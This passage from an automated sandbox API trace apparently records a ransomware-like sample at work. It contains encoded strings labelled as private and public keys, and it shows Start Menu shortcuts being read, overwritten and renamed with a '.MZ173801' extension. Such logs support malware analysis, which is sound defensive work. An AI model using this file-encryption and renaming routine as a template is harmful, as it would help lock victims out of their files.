bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.395] GetCurrentThreadId () returned 0xab4 [0212.395] GetCurrentThreadId () returned 0xab4 [0212.395] GetCurrentThreadId () returned 0xab4 [0212.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.396] GetCurrentThreadId () returned 0xab4 [0212.396] GetCurrentThreadId () returned 0xab4 [0212.396] GetCurrentThreadId () returned 0xab4 [0212.397] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.397] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.397] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.397] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x49e [0212.397] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.397] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x49e, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x49e, lpOverlapped=0x0) returned 1 [0212.611] CloseHandle (hObject=0x330) returned 1 [0212.612] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.614] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x49e, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x49e, lpOverlapped=0x0) returned 1 [0212.616] CloseHandle (hObject=0x330) returned 1 [0212.616] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk.mz173801")) returned 1 [0212.618] GetCurrentThreadId () returned 0xab4 [0212.618] GetCurrentThreadId () returned 0xab4 [0212.618] GetCurrentThreadId () returned 0xab4 [0212.618] GetCurrentThreadId () returned 0xab4 [0212.618] GetCurrentThreadId () returned 0xab4 [0212.618] GetCurrentThreadId () returned 0xab4 [0212.618] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630c736a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x630c736a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x630c736a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0212.618] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.618] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.618] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630c736a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x630c736a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x630c736a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a)) returned 1 [0212.618] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk")) returned 0x20 [0212.618] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk", dwFileAttributes=0x80) returned 1 [0212.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK